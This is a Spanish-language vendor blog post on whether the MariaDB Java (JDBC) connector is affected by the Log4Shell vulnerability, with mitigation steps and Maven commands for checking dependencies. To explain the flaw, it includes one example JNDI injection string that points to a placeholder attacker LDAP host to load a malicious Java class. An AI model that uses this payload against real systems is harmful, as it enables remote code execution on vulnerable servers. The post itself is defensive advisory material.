sql >> Base de Datos >  >> RDS >> MariaDB

¿El controlador MariaDB JDBC está afectado por la vulnerabilidad de Log4j?

¿El conector Java de MariaDB está afectado por la vulnerabilidad de seguridad descubierta recientemente en Log4? De forma predeterminada, el conector de Java no utiliza Log4j. Sin embargo, si lo ha configurado para usar SLF4j, siga leyendo.

Para obtener información más allá del alcance del controlador JDBC de MariaDB, lea Log4Shell y MariaDB.

Nota :este blog se actualizó el 15 de diciembre de 2021 para incluir detalles sobre CVE-2021-45046.

La vulnerabilidad Log4j

Apache Log4j es un marco de registro de código abierto popular para aplicaciones Java. Se utiliza en una variedad de proyectos empresariales y de código abierto, incluidos los proveedores de la nube y los proveedores de servicios de correo electrónico. El 9 de diciembre de 2021, se encontró una vulnerabilidad de día 0 en Log4j que podría resultar en la ejecución remota de código, lo que permitiría a un hacker ejecutar código arbitrario en un sistema. La vulnerabilidad se conoce como "Log4Shell" y se rastrea como CVE-2021-44228.

En resumen, la vulnerabilidad permite que un atacante inyecte una cadena de búsqueda JNDI que invoca, por ejemplo, un servidor LDAP remoto (controlado por el atacante) que a su vez devuelve una clase Java maliciosa:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Si Log4j registra una cadena como esta, una clase Java malintencionada puede ejecutar código arbitrario (a través de un bloque de código estático, por ejemplo).

Versiones afectadas

Afortunadamente, solo las versiones de Log4j 2.x anteriores a la 2.15.0 se ven afectadas. Consulte la página de vulnerabilidades de seguridad de Apache Log4j para obtener más información. La vulnerabilidad no está presente en las versiones 1.x de Log4j.

Cómo mitigar CVE-2021-44228

La mejor estrategia para mitigar la vulnerabilidad es actualizar la dependencia de Log4j en sus proyectos. La versión 2.16.0, que elimina las búsquedas de mensajes, ya está disponible. Felicitaciones al equipo por lanzar esto rápidamente.

Actualizar :Log4j 2.16.0 también corrige la segunda vulnerabilidad rastreada como CVE-2021-45046.

El controlador MariaDB JDBC no usa Log4j 2.x. Sin embargo, es compatible con SLF4J. Compruebe si está utilizando o no el archivador Log4j para SLF4J y, de ser así, actualice Log4j en consecuencia o establezca la siguiente variable de configuración:

-Dlog4j2.formatMsgNoLookups=true

O establezca la siguiente variable de entorno:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Nota :El registro solo está habilitado cuando lo establece explícitamente log parámetro. Además de Log4j, también puede optar por otros enlaces SLF4J como Jakarta Commons Logging, Logback o Java Logging API.

Si está utilizando Maven, puede ejecutar el siguiente comando para averiguar si su proyecto depende de Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Este es un ejemplo del tipo de resultado que obtendrá en un proyecto vulnerable:

Si por alguna razón su proyecto no se compila, puede ejecutar alternativamente:

mvn help:effective-pom

Busque el log4j-core dependencia y verifique la versión utilizada.

Información adicional

Lista de enlaces en el blog:

  • Conector MariaDB Java
  • SLF4j
  • Blog relacionado Log4Shell y MariaDB
  • CVE-2021-44228
  • Vulnerabilidades de seguridad de Apache Log4j
  • Apache Log4j versión 2.16.0
  • log parámetro